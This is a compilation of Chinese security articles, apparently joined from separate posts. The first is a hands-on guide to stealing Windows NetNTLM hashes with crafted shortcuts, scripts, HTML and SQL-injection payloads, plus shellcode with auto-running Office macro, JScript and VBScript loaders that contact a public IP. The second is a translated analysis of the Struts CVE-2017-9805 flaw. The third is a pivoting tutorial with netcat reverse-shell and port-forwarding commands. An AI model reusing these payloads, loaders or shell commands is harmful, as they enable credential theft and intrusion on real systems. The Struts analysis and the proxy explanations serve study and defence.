我们可以创建一个包含网络路径的快捷方式，只要你打开快捷方式，Windows就会尝试解析网络路径，你还可以指定一个快捷键来触发这个快捷方式。至于图标，你可以给出一个Windows二进制文件的名称，或者从位于system32目录中的shell32.dll，Ieframe.dll，imageres.dll，pnidui.dll或wmploc.dll中选择一个图标。
et shl = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
currentFolder = shl.CurrentDirectory
Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk"))
sc.TargetPath = "\\35.164.153.224\@OsandaMalith"
sc.WindowStyle = 1
sc.HotKey = "Ctrl+Alt+O"
sc.IconLocation = "%windir%\system32\shell32.dll, 3"
sc.Description = "I will Steal your Hashes"
sc.Save
Powershell版本
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")
$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "I will Steal your Hashes"
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
#### Internet Shortcuts (.url)
Windows中的另一个快捷方式是Internet快捷方式，你可以将下面这个存储为.url文件：
echo [InternetShortcut] > stealMyHashes.url
echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url
#### Autorun with Registry
你可以在以下任意一个路径中添加新的注册表项。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
#### Powershell
Powershell中可能有许多小脚本可以解析网络路径。
Invoke-Item \\192.168.0.1\aa
Get-Content \\192.168.0.1\aa
Start-Process \\192.168.0.1\aa
#### IE
IE会解析UNC路径，例如：
<img src="\\\\192.168.0.1\\aa">
你可以在XSS下注入或在你发现的SQL注入下注入，例如：
http://host.tld/?id=-1' union select 1,'<img src="\\\\192.168.0.1\\aa">';%00
#### VBScript
你可以把这个保存为.vbs，在应用于WORD或EXCEL文件的宏中使用。
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
可以在网页中应用，不过这只适用于IE。
<html>
<script type="text/Vbscript">
<!-- Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
//-->
</script>
</html>
下面编码的版本，你可以编码并保存为.vbe文件。
#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@
也可以把它应用在html文件中，但只适用于IE。你可以将这个保存为.hta文件，这将是一个Windows下的HTML应用程序，其中mshta.exe将执行它，默认情况下它使用IE。
<html>
<script type="text/Vbscript.Encode">
<!-- #@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@
//-->
</script>
</html>
#### JScript
你可以把它保存为Windows的.js文件
var fso = new ActiveXObject("Scripting.FileSystemObject")
fso.FileExists("//192.168.0.103/aa")
也可以应用于html文件，但只适用于IE，同样可以存为.hta文件
<html>
<script type="text/Jscript">
<!-- var fso = new ActiveXObject("Scripting.FileSystemObject")
fso.FileExists("//192.168.0.103/aa")
//-->
</script>
</html>
这是编码的版本，可以存为.jse文件。
#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
html版本：
<html>
<script type="text/Jscript.Encode">
<!-- #@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
//-->
</script>
</html>
#### Windows Script Files
这个存储为.wsf文件
<package>
<job id="boom">
<script language="VBScript">
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
</script>
</job>
</package>
#### Shellcode
我这里做了一个小的shellcode，使用了CreateFile，并试图读取不存在的网络路径。你可以用Responder这样的工具抓取NetNTLM哈希，shellcode可以修改，以通过网络窃取哈希，也可以执行SMBRelay攻击。
/*
Title: CreateFile Shellcode
Author: Osanda Malith Jayathissa (@OsandaMalith)
Website: https://osandamalith.com
Size: 368 Bytes
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>
int main() {
char *shellcode =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02"
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05"
"\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10"
"\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0"
"\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8"
"\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a"
"\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff"
"\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe"
"\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b"
"\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89"
"\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40"
"\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff"
"\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f"
"\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7"
"\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf"
"\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32"
"\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05";
DWORD oldProtect;
wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode));
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
if (!ret) {
fprintf(stderr, "%s", "Error Occured");
return EXIT_FAILURE;
}
((void(*)(void))shellcode)();
VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
return EXIT_SUCCESS;
}
<https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html>
#### Shellcode Inside Macros
这是上面的shellcode，应用在了WORD/EXCEL宏中，你可以在VB6应用程序中使用相同的代码。
' Author : Osanda Malith Jayathissa (@OsandaMalith)
' Title: Shellcode to request a non-existing network path
' Website: https://osandamalith
' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
' This is a word/excel macro. This can be used in vb6 applications as well
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
ByVal lpThreadAttributes As Long, _
ByVal dwStackSize As Long, _
ByVal lpStartAddress As LongPtr, _
lpParameter As Long, _
ByVal dwCreationFlags As Long, _
lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _
ByVal Destination As LongPtr, _
ByRef Source As Any, _
ByVal Length As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" ( _
ByVal lpThreadAttributes As Long, _
ByVal dwStackSize As Long, _
ByVal lpStartAddress As Long, _
lpParameter As Long, _
ByVal dwCreationFlags As Long, _
lpThreadId As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" ( _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" ( _
ByVal Destination As Long, _
ByRef Source As Any, _
ByVal Length As Long) As Long
#EndIf
Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40
Sub Auto_Open()
Dim source As Long, i As Long
#If Vba7 Then
Dim lpMemory As LongPtr, lResult As LongPtr
#Else
Dim lpMemory As Long, lResult As Long
#EndIf
Dim bShellcode(376) As Byte
bShellcode(0) = 232
bShellcode(1) = 255
bShellcode(2) = 255
bShellcode(3) = 255
bShellcode(4) = 255
bShellcode(5) = 192
bShellcode(6) = 95
bShellcode(7) = 185
bShellcode(8) = 85
bShellcode(9) = 3
bShellcode(10) = 2
bShellcode(11) = 2
bShellcode(12) = 129
bShellcode(13) = 241
bShellcode(14) = 2
bShellcode(15) = 2
bShellcode(16) = 2
.....................
lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
For i = LBound(bShellcode) To UBound(bShellcode)
source = bShellcode(i)
lResult = RtlMoveMemory(lpMemory + i, source, 1)
Next i
lResult = CreateThread(0, 0, lpMemory, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
<https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba>
#### Shellcode Inside VBS and JS
subTee用JS和DynamicWrapperX做了很多的研究，你可以用DynamicWrapperX DLL找到POC。
<http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html>
基于此，我已经将shellcode移植到JS和VBS，有趣的是我们可以在HTML和.hta格式中嵌入JScript或VBScript中的shellcode。
注意下面的shellcode指向我的IP。
###### JScript
/*
* Author : Osanda Malith Jayathissa (@OsandaMalith)
* Title: Shellcode to request a non-existing network path
* Website: https://osandamalith.com
* Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
* Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
*/
DX = new ActiveXObject("DynamicWrapperX");
DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");
var MEM_COMMIT = 0x1000;
var PAGE_EXECUTE_READWRITE = 0x40;
var sc = [
0xe8, 0xff, 0xff, 0xff, 0xff, 0xc0, 0x5f, 0xb9, 0x55, 0x03, 0x02, 0x02, 0x81, 0xf1, 0x02, 0x02, 0x02, 0x02, 0x83, 0xc7,
0x1d, 0x33, 0xf6, 0xfc, 0x8a, 0x07, 0x3c, 0x05, 0x0f, 0x44, 0xc6, 0xaa, 0xe2, 0xf6, 0xe8, 0x05, 0x05, 0x05, 0x05, 0x5e,
0x8b, 0xfe, 0x81, 0xc6, 0x29, 0x01, 0x05, 0x05, 0xb9, 0x02, 0x05, 0x05, 0x05, 0xfc, 0xad, 0x01, 0x3c, 0x07, 0xe2, 0xfa,
0x56, 0xb9, 0x8d, 0x10, 0xb7, 0xf8, 0xe8, 0x5f, 0x05, 0x05, 0x05, 0x68, 0x31, 0x01, 0x05, 0x05, 0xff, 0xd0, 0xb9, 0xe0,
0x53, 0x31, 0x4b, 0xe8, 0x4e, 0x05, 0x05, 0x05, 0xb9, 0xac, 0xd5, 0xaa, 0x88, 0x8b, 0xf0, 0xe8, 0x42, 0x05, 0x05, 0x05,
0x6a, 0x05, 0x68, 0x80, 0x05, 0x05, 0x05, 0x6a, 0x03, 0x6a, 0x05, 0x6a, 0x01, 0x68, 0x05, 0x05, 0x05, 0x80, 0x68, 0x3e,
0x01, 0x05, 0x05, 0xff, 0xd0, 0x6a, 0x05, 0xff, 0xd6, 0x33, 0xc0, 0x5e, 0xc3, 0x33, 0xd2, 0xeb, 0x10, 0xc1, 0xca, 0x0d,
0x3c, 0x61, 0x0f, 0xbe, 0xc0, 0x7c, 0x03, 0x83, 0xe8, 0x20, 0x03, 0xd0, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xea, 0x8b,
0xc2, 0xc3, 0x8d, 0x41, 0xf8, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0x89, 0x4d, 0xf4, 0x64, 0xa1,
0x30, 0x05, 0x05, 0x05, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x14, 0x89, 0x45, 0xec, 0x8b,
0xf8, 0x8b, 0xcf, 0xe8, 0xd2, 0xff, 0xff, 0xff, 0x8b, 0x70, 0x18, 0x8b, 0x3f, 0x85, 0xf6, 0x74, 0x4f, 0x8b, 0x46, 0x3c,
0x8b, 0x5c, 0x30, 0x78, 0x85, 0xdb, 0x74, 0x44, 0x8b, 0x4c, 0x33, 0x0c, 0x03, 0xce, 0xe8, 0x96, 0xff, 0xff, 0xff, 0x8b,
0x4c, 0x33, 0x20, 0x89, 0x45, 0xf8, 0x33, 0xc0, 0x03, 0xce, 0x89, 0x4d, 0xf0, 0x89, 0x45, 0xfc, 0x39, 0x44, 0x33, 0x18,
0x76, 0x22, 0x8b, 0x0c, 0x81, 0x03, 0xce, 0xe8, 0x75, 0xff, 0xff, 0xff, 0x03, 0x45, 0xf8, 0x39, 0x45, 0xf4, 0x74, 0x1c,
0x8b, 0x45, 0xfc, 0x8b, 0x4d, 0xf0, 0x40, 0x89, 0x45, 0xfc, 0x3b, 0x44, 0x33, 0x18, 0x72, 0xde, 0x3b, 0x7d, 0xec, 0x75,
0x9c, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x4d, 0xfc, 0x8b, 0x44, 0x33, 0x24, 0x8d, 0x04, 0x48, 0x0f, 0xb7,
0x0c, 0x30, 0x8b, 0x44, 0x33, 0x1c, 0x8d, 0x04, 0x88, 0x8b, 0x04, 0x30, 0x03, 0xc6, 0xeb, 0xdf, 0x21, 0x05, 0x05, 0x05,
0x50, 0x05, 0x05, 0x05, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x05, 0x2f, 0x2f, 0x33,
0x35, 0x2e, 0x31, 0x36, 0x34, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x32, 0x32, 0x34, 0x2f, 0x61, 0x61, 0x05];
var scLocation = DX.VirtualAlloc(0, sc.length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
for(var i = 0; i < sc.length; i++) DX.NumPut(sc[i],scLocation,i);
var thread = DX.CreateThread(0,0,scLocation,0,0);
<https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js>
###### VBScript
' Author : Osanda Malith Jayathissa (@OsandaMalith)
' Title: Shellcode to request a non-existing network path
' Website: https://osandamalith.com
' Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
' Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04
Set DX = CreateObject("DynamicWrapperX")
DX.Register "kernel32.dll", "VirtualAlloc", "i=luuu", "r=u"
DX.Register "kernel32.dll","CreateThread","i=uullu","r=u"
DX.Register "kernel32.dll", "WaitForSingleObject", "i=uu", "r=u"
Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40
shellcode = Array( _
&He8, &Hff, &Hff, &Hff, &Hff, &Hc0, &H5f, &Hb9, &H55, &H03, &H02, &H02, &H81, &Hf1, &H02, &H02, &H02, &H02, &H83, &Hc7, _
&H1d, &H33, &Hf6, &Hfc, &H8a, &H07, &H3c, &H05, &H0f, &H44, &Hc6, &Haa, &He2, &Hf6, &He8, &H05, &H05, &H05, &H05, &H5e, _
&H8b, &Hfe, &H81, &Hc6, &H29, &H01, &H05, &H05, &Hb9, &H02, &H05, &H05, &H05, &Hfc, &Had, &H01, &H3c, &H07, &He2, &Hfa, _
&H56, &Hb9, &H8d, &H10, &Hb7, &Hf8, &He8, &H5f, &H05, &H05, &H05, &H68, &H31, &H01, &H05, &H05, &Hff, &Hd0, &Hb9, &He0, _
&H53, &H31, &H4b, &He8, &H4e, &H05, &H05, &H05, &Hb9, &Hac, &Hd5, &Haa, &H88, &H8b, &Hf0, &He8, &H42, &H05, &H05, &H05, _
&H6a, &H05, &H68, &H80, &H05, &H05, &H05, &H6a, &H03, &H6a, &H05, &H6a, &H01, &H68, &H05, &H05, &H05, &H80, &H68, &H3e, _
&H01, &H05, &H05, &Hff, &Hd0, &H6a, &H05, &Hff, &Hd6, &H33, &Hc0, &H5e, &Hc3, &H33, &Hd2, &Heb, &H10, &Hc1, &Hca, &H0d, _
&H3c, &H61, &H0f, &Hbe, &Hc0, &H7c, &H03, &H83, &He8, &H20, &H03, &Hd0, &H41, &H8a, &H01, &H84, &Hc0, &H75, &Hea, &H8b, _
&Hc2, &Hc3, &H8d, &H41, &Hf8, &Hc3, &H55, &H8b, &Hec, &H83, &Hec, &H14, &H53, &H56, &H57, &H89, &H4d, &Hf4, &H64, &Ha1, _
&H30, &H05, &H05, &H05, &H89, &H45, &Hfc, &H8b, &H45, &Hfc, &H8b, &H40, &H0c, &H8b, &H40, &H14, &H89, &H45, &Hec, &H8b, _
&Hf8, &H8b, &Hcf, &He8, &Hd2, &Hff, &Hff, &Hff, &H8b, &H70, &H18, &H8b, &H3f, &H85, &Hf6, &H74, &H4f, &H8b, &H46, &H3c, _
&H8b, &H5c, &H30, &H78, &H85, &Hdb, &H74, &H44, &H8b, &H4c, &H33, &H0c, &H03, &Hce, &He8, &H96, &Hff, &Hff, &Hff, &H8b, _
&H4c, &H33, &H20, &H89, &H45, &Hf8, &H33, &Hc0, &H03, &Hce, &H89, &H4d, &Hf0, &H89, &H45, &Hfc, &H39, &H44, &H33, &H18, _
&H76, &H22, &H8b, &H0c, &H81, &H03, &Hce, &He8, &H75, &Hff, &Hff, &Hff, &H03, &H45, &Hf8, &H39, &H45, &Hf4, &H74, &H1c, _
&H8b, &H45, &Hfc, &H8b, &H4d, &Hf0, &H40, &H89, &H45, &Hfc, &H3b, &H44, &H33, &H18, &H72, &Hde, &H3b, &H7d, &Hec, &H75, _
&H9c, &H33, &Hc0, &H5f, &H5e, &H5b, &Hc9, &Hc3, &H8b, &H4d, &Hfc, &H8b, &H44, &H33, &H24, &H8d, &H04, &H48, &H0f, &Hb7, _
&H0c, &H30, &H8b, &H44, &H33, &H1c, &H8d, &H04, &H88, &H8b, &H04, &H30, &H03, &Hc6, &Heb, &Hdf, &H21, &H05, &H05, &H05, _
&H50, &H05, &H05, &H05, &H6b, &H65, &H72, &H6e, &H65, &H6c, &H33, &H32, &H2e, &H64, &H6c, &H6c, &H05, &H2f, &H2f, &H33, _
&H35, &H2e, &H31, &H36, &H34, &H2e, &H31, &H35, &H33, &H2e, &H32, &H32, &H34, &H2f, &H61, &H61, &H05)
scLocation = DX.VirtualAlloc(0, UBound(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
For i =LBound(shellcode) to UBound(shellcode)
DX.NumPut shellcode(i),scLocation,i
Next
thread = DX.CreateThread (0,0,scLocation,0,0)
<https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs>
Windows系统中可能还有很多其他的方法，还值得大家去找寻！
* * * | 社区文章 |
# 【技术分享】深入分析Struts2 S2-052（CVE-2017-9805）远程命令执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/apache-struts-at-rest-analyzing-remote-code-execution-vulnerability-cve-2017-9805/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
Apache Struts是一种开源 **Web开发框架** ，非常容易出现漏洞。我们在七月份曾写过关于[
**CVE-2017-9791**](https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-9791-apache-struts-vulnerability-can-lead-remote-code-execution/)漏洞的一篇文章。根据[现有资料](http://securityaffairs.co/wordpress/62865/hacking/cve-2017-9805-struts-flaw.html)，目前Struts最新的漏洞编号为 **CVE-2017-9805** ，这是另一个正在被利用的远程命令执行漏洞。Struts的
**REST** （Representational State
Transfer）插件受此漏洞影响。Apache已经将Struts版本更新为2.5.13，修复了这个问题。在本文中，我们会深入分析该漏洞以及漏洞利用技术的工作原理。
**二、补丁分析**
漏洞修复前后REST的改动如下图所示（左图为修复前，2.5.12版，右图为修复后，2.5.13版）。
参考来源：[Fossies](https://fossies.org/diffs/struts/2.5.12-src_vs_2.5.13-src/src/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java-diff.html)（the Fresh Open Source Software Archive）
如图所示，为了修复这个漏洞，Struts做了如下几处代码调整：
**1\. 在修复版中，“Class XStreamHandler”继承（extends）自“AbstractContentTypeHandler”。**
**2\.
“toObject”以及“fromObject”这两个方法的第一个参数变成了“ActionInvocation”类型。（如果我们检查AbstractContentTypeHandler.java代码，我们可以发现“AbstractContentTypeHandler”实现了（implements）“ContentTypeHandler”类，并且废除（deprecated）了“toObject”以及“fromObject”方法）。**
**3\. “createXstream”方法已被废除，新增了一个同名方法，所接受的参数类型为“ActionInvocation”，如下图所示：**
这个改动清除了现有的权限状态，每次操作会添加默认权限，因此可以修复这个问题。
**三、代码调试**
如果某台主机正在运行的Apache Struts存在REST插件漏洞，为了利用这个漏洞，我们需要精心构造一段 **XML数据**
，并通过POST请求将该数据发给目标主机。
跟踪相关代码，我们发现该请求会被传递给ContentTypeInterceptor.java进行处理。
该函数用来识别负责处理HTTP请求的具体函数。在这种情况下，该函数为“XStreamHandler”，随后，该函数会调用“handler.toObject(reader,
target);”。因此，程序控制权会交给XStreamHandler.java中的“toObject”函数。
该函数会调用“fromXML”方法，后者负责将XML反序列化为某个对象：
随后，“fromXML”方法会调用“MapConverter.java”中的“unmarshal”方法，以创建并填充一个HashMap对象。
“PopulateMap”方法会调用“PutCurrentEntryIntoMap”方法，后者会继续调用“readItem”方法。在这里，map中的元素来自于我们精心构造的XML中的元素。
随后，程序代码会调用“AbstractReflectionConverter.java”中的“doUnmarshal”方法。我们可以看到代码会从reader对象中读取节点名称，然后搜索包含reader定义或声明的那个类名。代码也会检查相应的字段是否包含在这个类中：
如果类中存在这个字段，那么代码会更新对象中的这个字段。如下图所示，该对象为“ImageIO$ContainsFilter”对象，“reflectionProvider.writeField”方法正在修改该对象的方法的值。
这个过程重复多次，最终，该对象的值如下图所示（为便于阅读我们截断并重新组织了这些值）。这些数据全部源自于我们精心构造的XML：
代码会在“PutCurrentEntryIntoMap”方法中使用“readItem”方法返回这个对象，并将其保存在“Object Key”中：
如上图所示，程序代码调用了“target.put”方法。调用这个方法时，程序会访问这个键值对（key&value）。由于键值对中包含我们所构造的对象，因此程序代码首先会调用“Nativestring.hashCode()”，而该方法会调用“Base64Data.get()”，我们可以观察调用栈以证实这一点：
随后，程序代码会调用“Cipher.Java”中的“chooseFirstProvider()”方法：
“serviceIterator.next()”方法会返回ProcessBuilder对象，该对象包含我们输入的那条命令。由于这些对象都链接在一起，因此java.lang.ProcessBuilder.Start()会使用ImageIO$ContainsFilter对象的方法，最终完成代码执行。
**四、总结**
Apache Struts是一个非常流行的Web开发框架，因此相应的漏洞也会影响深远。我们建议用户使用最新版本的Struts，并保持产品更新。
McAfee Network Security Platform可以保护客户免受此漏洞影响。
原文链接：<https://securingtomorrow.mcafee.com/mcafee-labs/apache-struts-at-rest-analyzing-remote-code-execution-vulnerability-cve-2017-9805/> | 社区文章 |
最近尝试了一些内网端口的转发和内网穿透，现在一起总结一下。
### 0x01 正向和反向代理
正向代理中，proxy 和 client 同属一个 LAN，对 server 透明； 反向代理中，proxy 和 server 同属一个 LAN，对
client 透明。 实际上 proxy
在两种代理中做的事都是代为收发请求和响应，不过从结构上来看正好左右互换了下，所以把前者那种代理方式叫做正向代理，后者叫做反向代理。
#### 正向代理 (Forward Proxy)
Lhost－－》proxy－－》Rhost
Lhost 为了访问到 Rhost，向 proxy 发送了一个请求并且指定目标是 Rhost，然后 proxy 向 Rhost 转交请求并将获得的内容返回给
Lhost，简单来说正向代理就是 proxy 代替了我们去访问 Rhost。
#### 反向代理（reverse proxy）
Lhost<--->proxy<--->firewall<--->Rhost
和正向代理相反（废话），Lhost 只向 proxy 发送普通的请求，具体让他转到哪里，proxy
自己判断，然后将返回的数据递交回来，这样的好处就是在某些防火墙只允许 proxy 数据进出的时候可以有效的进行穿透
#### 简单区分
正向代理代理的是客户端，反向代理代理的是服务端，正向代理是我们自己 (Lhost) 戴套 (proxy) 插进去，反向代理是她 (Rhost) 主动通过上位
(proxy) 坐上来(Lhost)。
### 0x02 lcx 转发
内网 IP：192.168.153.138
公网 ip：192.168.153.140
由于是本地实验，我这里将 138 的防火墙打开，当作内网环境，140 防火墙关闭，充当公网 ip，所以正常情况下不只能 138 访问 140，而 140
不能直接访问 138。这是两台机器互相 ping 的结果。
\1. 内网机器上执行：lcx.exe –slave 公网 IP + 端口 内网 IP + 端口
lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389
将内网 (192.168.153.138) 的 3389 端口转发到公网 (192.168.153.138) 的 4444 端口
\2. 公网 (192.168.153.138) 执行：lcx -listen 4444 5555
监听公网 4444 端口请求，并将 4444 的请求传送给 5555 端口。
此时已经把内网的 3389 端口转发到了公网的 5555 端口。可以通过 127.0.0.1:5555 连接到内网的远程桌面。
### 0x03 nc 反弹
#### 正向连接
在内网执行
nc -l -p 5555 -t -e cmd.exe
`-t`是通过 telne 模式执行 cmd.exe 程序，可以省略。
在公网执行
nc -nvv 192.168.153.138 5555
#### 反向连接
在公网监听`nc -lp 5555`
在内网机器反弹`nc -t -e cmd 192.168.153.140 5555`
### 0x04 socks 代理工具
常见的 socks 代理工具介绍如下
1.Earthworm 工具网址：<http://rootkiter.com/EarthWorm>
EW 是一套便携式的网络穿透工具，具有 SOCKS v5 服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。该工具能够以
“正向”、“反向”、“多级级联”
等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。工具包中提供了多种可执行文件，以适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。
目前已经有了最新版 Termite，工具网址：<http://rootkiter.com/Termite/>
2.reGeorg 工具网址：<https://github.com/NoneNotNull/reGeorg>
reGeorg 是 reDuh 的升级版，主要是把内网服务器的端口通过 http/https
隧道转发到本机，形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks
代理进行内网穿透，服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
3.sSocks 工具网址：<http://sourceforge.net/projects/ssocks/>
sSocks 是一个 socks 代理工具套装，可用来开启 socks 代理服务，支持 socks5 验证，支持 IPV6 和 UDP，并提供反向
socks 代理服务，即将远程计算机作为 socks 代理服务端，反弹回本地，极大方便内网的渗透测试，其最新版为 0.0.13。
4.SocksCap64 工具网址：<http://www.sockscap64.com> ()
SocksCap64 是一款在 windows 下相当好使的全局代理软件。SocksCap64 可以使 Windows 应用程序通过 SOCKS
代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持 SOCKS 代理的应用程序通过 SocksCap64
之后都可以完美的实现代理访问。
5.proxychains 工具网址：<http://proxychains.sourceforge.net/>
Proxychains 是一款在 LINUX 下可以实现全局代理的软件，性能相当稳定可靠。在使任何程序通過代理上网，允許 TCP 和 DNS
通過代理隧道，支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器，支持 proxy chain，即可配置多个代理，同一個 proxy chain
可使用不同类型的代理服务器
#### 0x04.1 reGeorg+Proxychains 代理
上传 reGeorg 的 tunnel.jsp 到服务器。访问链接，并转发到本地端口。
python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp
使用设置 proxychains 的代理端口，进行访问，一般配合 nmap 和 metasploit 进行后续内网渗透。ps：proxychains 不支持
udp 和 icmp 协议，所以使用 nmap 要加上`-sT -Pn`即使用 tcp 协议且不使用 icmp 协议。
